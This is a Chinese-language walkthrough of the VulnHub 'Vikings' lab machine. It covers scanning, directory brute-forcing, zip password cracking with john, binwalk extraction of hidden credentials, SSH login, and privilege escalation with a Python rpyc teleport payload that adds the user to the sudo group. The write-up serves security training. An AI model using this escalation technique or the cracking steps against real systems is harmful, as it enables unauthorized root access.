vulnhub之vikings

目录

地址:

一、主机发现

二、端口扫描

三、服务版本发现

四、信息收集

1.登录80页面

2.加载后

 3.扫目录

(1)gobuster

(2)查看war.txt

(3)查看/war-is-over

五、cyberchef

1.base64解密

2.Detect file type

六、zip解压

1.解压

2.john爆破

1.zip2john编码处理

2.john爆破

(1)cp字典

(2)解压字典

(3)爆破

3.king图片

七、隐写

1.steghide

 (1)尝试查看

2.binwalk

(1)分析

(2)提取

(3)查看

 八、ssh登录

九、信息收集

十、角谷猜想

1.生成第29个素数

2.角古猜想

十一、解码

1.replace替换

2.十进制对应的ascii编码对应的字符

3.string模块

 4.replace

 十二、登录ragnar

十三、查看shell启动相关文件

1.bashrc和profile都是Shell的启动设置文件

2.查看/usr/local/bin/rpyc_classic.py

3.构造payload

(1)在客户端构造一个连接

(2)teleport methd

(3)整合一下

(4)查看18812(默认端口)的状态

(4)提权

(5)拿到flag


地址:

https://download.vulnhub.com/vikings/Vikings.ova

一、主机发现

二、端口扫描

三、服务版本发现

-p扫描指定端口,-sC是用默认脚本扫描,-sV是对服务版本的发现。可以看到下面22端口ssh服务,unbuntu系统,80端口开启http服务。

四、信息收集

1.登录80页面

可以看到是这么一个页面,当我们点击site/文件时,响应非常的慢,一直在加载Google的某个站点所以很慢。

2.加载后

 出现了一个外国人和一段文字,讲了一段故事,出现了几个人名。

 3.扫目录

(1)gobuster

gobuster dir -r -u  http://192.168.43.243/site/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x html,php,jsp,txt 

(2)查看war.txt

出现了个目录

(3)查看/war-is-over

出现了一对密文,一看有+ / 大小写 数字,尝试base64解密

五、cyberchef

1.base64解密

解密出来仍然是一推密文。也不知道是啥类型的文件

2.Detect file type

在用这个detect file type模块可以识别出文件类型,是压缩文件类型。

六、zip解压

单词:extract(提取精炼)解压缩,

1.解压

压缩文件加密了,解压还要密码,收集也收集不到,只能去爆破了

2.john爆破

1.zip2john编码处理

编码处理转化为hash值

 zip2john miwen2.zip > hash

2.john爆破

(1)cp字典

cp /usr/share/wordlists/rockyou.txt.gz .

(2)解压字典

gunzip ./rockyou.txt.gz

(3)爆破

john hash  --wordlist=rockyou.txt

爆破出了密码

ragnarok123,名字是那个开头故事入侵者他爸ragnar

3.king图片

解压后出现了一张名为king的图片,但是呢,没有别的信息

七、隐写

百度百科:

隐写术是一门关于信息隐藏的技巧与科学,所谓信息隐藏指的是不让除预期的接收者之外的任何人知晓信息的传递事件或者信息的内容。隐写术的英文叫做Steganography。

1.steghide

我们用到了这个参数,展示关于一个覆盖或隐藏文件,

 (1)尝试查看

steghide info king

结果仍然是要口令passphrase。暴力破解走不通。只能尝试慢慢去分析这个文件。

2.binwalk

(1)分析

binwalk是一个文件的分析工具,-B参数去扫描文件以常见的签名

binwalk -B king

这里分别有十进制,十六进制,和描述信息,在描述信息中我们可以看到,里面有zip文档资料。压缩大小,解压后的大小和解压后的名user

(2)提取

binwalk -e king

提取后我们可以发现有一个_king.extracted文件夹

(3)查看

得到了一些信息。

 八、ssh登录

通过这串信息经过一番尝试,通过用户名密码

floki        f@m0usboatbuilde7 

成功拿到了一个普通shell

九、信息收集

在有两个文件,一个boat 一个readme自述信息,先查看自述信息,发现他让我们来构造“boat”,在查看boat,我们看到两行代码,第一行第29个素数赋值给num,后交给一个函数处理,这个函数为角谷猜想。根据他的提示去构造代码,找到更多信息。

十、角谷猜想

1.生成第29个素数

n=0
for i in range(1000):
    if i<1:
        continue
    for j in range(2,i):
        if i % j == 0:
            break
    else:
        n+=1
        print(n,"::",i)

2.角古猜想

n = int(input('请输入一个数字(自然数):'))
print('角谷猜想的整个序列是:\n%d'%n)
while n!=1:
    if n % 2 == 0:
        k = n / 2
        n = k
        if n<256:
            print('%d'%n)
    elif n == 1:
        print('%d'%n)
        break
    else:
        g = 3 * n + 1
        n = g
        if n<256:
            print('%d'%n)

十一、解码

1.replace替换

2.十进制对应的ascii编码对应的字符

3.string模块

挑选出可打印出来的字符串

 4.replace

 十二、登录ragnar

当我们用获得的密码,通过ssh登录ragnar账户时,虽然成功登录,但是又让我们输入sudo的密码。输入之前获得的两个密码又不正确。猜测这里使用了某个开机就执行的命令。

十三、查看shell启动相关文件

1.bashrc和profile都是Shell的启动设置文件

当查看profile文件时,看到了sudo执行的python命令,可以猜测这就是登录shell就执行命令的原因。

2.查看/usr/local/bin/rpyc_classic.py

通过搜索我们可以知道rpyc这是一个远程方法调用的库,查看了文档后,尝试去构造payload

3.构造payload

(1)在客户端构造一个连接

import rpyc

conn = rpyc.classic.connect("localhost")

(2)teleport methd

def square(x):
    return x ** 2
fn = conn.teleport(square)
fn(2)

(3)整合一下

import rpyc
def aaa():
    import os
    os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(aaa)
fn()

(4)查看18812(默认端口)的状态

服务端服务是开启的,python exp.py执行成功后,再次登录ragnar的用户我们会发现我们拥有了sudo的权限

(4)提权

登录ragnar用户后,我们来提权。

sudo -s

也可以用美化下界面

sudo -i

(5)拿到flag

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梅_花_七

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值